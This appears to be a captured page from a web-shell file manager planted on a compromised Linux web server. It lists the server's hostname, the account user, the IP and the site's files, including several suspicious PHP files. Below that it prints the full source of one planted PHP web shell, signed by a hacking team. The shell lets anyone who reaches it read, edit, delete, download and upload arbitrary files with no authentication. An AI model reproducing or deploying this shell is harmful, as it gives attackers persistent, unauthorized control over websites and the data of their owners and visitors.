[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
home
/
persadamedika
/
public_html
/
mobile
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 .well-known
SET
[ DEL ]
📁 0a3946
SET
[ DEL ]
📁 356cc0
SET
[ DEL ]
📁 e7160
SET
[ DEL ]
📁 feb68
SET
[ DEL ]
📁 nextjs
SET
[ DEL ]
📁 wp-content
SET
[ DEL ]
📄 .htaccess
236 B
SET
[ EDIT ]
|
[ DEL ]
📄 0x1949XCNRU4.php
4,218 B
SET
[ EDIT ]
|
[ DEL ]
📄 OVA-TOOLS-VIP.php
19,522 B
SET
[ EDIT ]
|
[ DEL ]
📄 click.php
1,323 B
SET
[ EDIT ]
|
[ DEL ]
📄 defaults.php
1,910 B
SET
[ EDIT ]
|
[ DEL ]
📄 error_log
143,419,435 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.php
12,666 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.php0
12,666 B
SET
[ EDIT ]
|
[ DEL ]
📄 item.php
1,980 B
SET
[ EDIT ]
|
[ DEL ]
📄 mah.php
2,043 B
SET
[ EDIT ]
|
[ DEL ]
📄 options.php
1,910 B
SET
[ EDIT ]
|
[ DEL ]
📄 robots.txt
396 B
SET
[ EDIT ]
|
[ DEL ]
📄 search.php
1,495 B
SET
[ EDIT ]
|
[ DEL ]
📄 txets.php
4,478 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: 0x1949XCNRU4.php
<?php // Set the directory you want to access $directory = './'; // Check if the user has submitted the form if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Handle file actions if (isset($_POST['action'])) { $action = $_POST['action']; $filename = $_POST['filename']; $path = $directory . $filename; switch ($action) { case 'edit': if (isset($_POST['content'])) { $content = $_POST['content']; file_put_contents($path, $content); echo "<div class='alert alert-success'>File '$filename' has been updated.</div>"; } break; case 'delete': if (file_exists($path)) { unlink($path); echo "<div class='alert alert-danger'>File '$filename' has been deleted.</div>"; } break; case 'download': if (file_exists($path)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $filename . '"'); readfile($path); exit; } break; case 'upload': if (isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK) { $uploadedFile = $_FILES['file']; $uploadedFilename = $uploadedFile['name']; $uploadedFilePath = $directory . $uploadedFilename; if (move_uploaded_file($uploadedFile['tmp_name'], $uploadedFilePath)) { echo "<div class='alert alert-success'>File '$uploadedFilename' has been uploaded.</div>"; } else { echo "<div class='alert alert-danger'>Error uploading file '$uploadedFilename'.</div>"; } } break; } } } // Get the list of files in the directory $files = scandir($directory); ?> <!DOCTYPE html> <html> <head> <title>File Manager</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css"> </head> <body> <div class="container my-5"> <h1 class="mb-4">File Manager By 0x1949 Team</h1> <h2 class="mb-3">Files in the directory:</h2> <div class="list-group"> <?php foreach ($files as $file) { if ($file !== '.' && $file !== '..') { echo "<a href='?file=$file' class='list-group-item list-group-item-action'>" . $file . "</a>"; } } ?> </div> <div class="mt-5"> <h2 class="mb-3">Upload a File</h2> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload"> <div class="form-group"> <input type="file" name="file" class="form-control-file"> </div> <button type="submit" class="btn btn-primary">Upload</button> </form> </div> <?php if (isset($_GET['file'])) { $file = $_GET['file']; $path = $directory . $file; $content = file_get_contents($path); ?> <div class="mt-5"> <h2 class="mb-3">Edit File: <?php echo $file; ?></h2> <form method="post"> <input type="hidden" name="action" value="edit"> <input type="hidden" name="filename" value="<?php echo $file; ?>"> <div class="form-group"> <textarea name="content" rows="10" class="form-control"><?php echo $content; ?></textarea> </div> <button type="submit" class="btn btn-primary">Save</button> <a href="?file=<?php echo $file; ?>&action=download" class="btn btn-secondary">Download</a> <button type="submit" name="action" value="delete" class="btn btn-danger">Delete</button> </form> </div> <?php } ?> </div> </body> </html>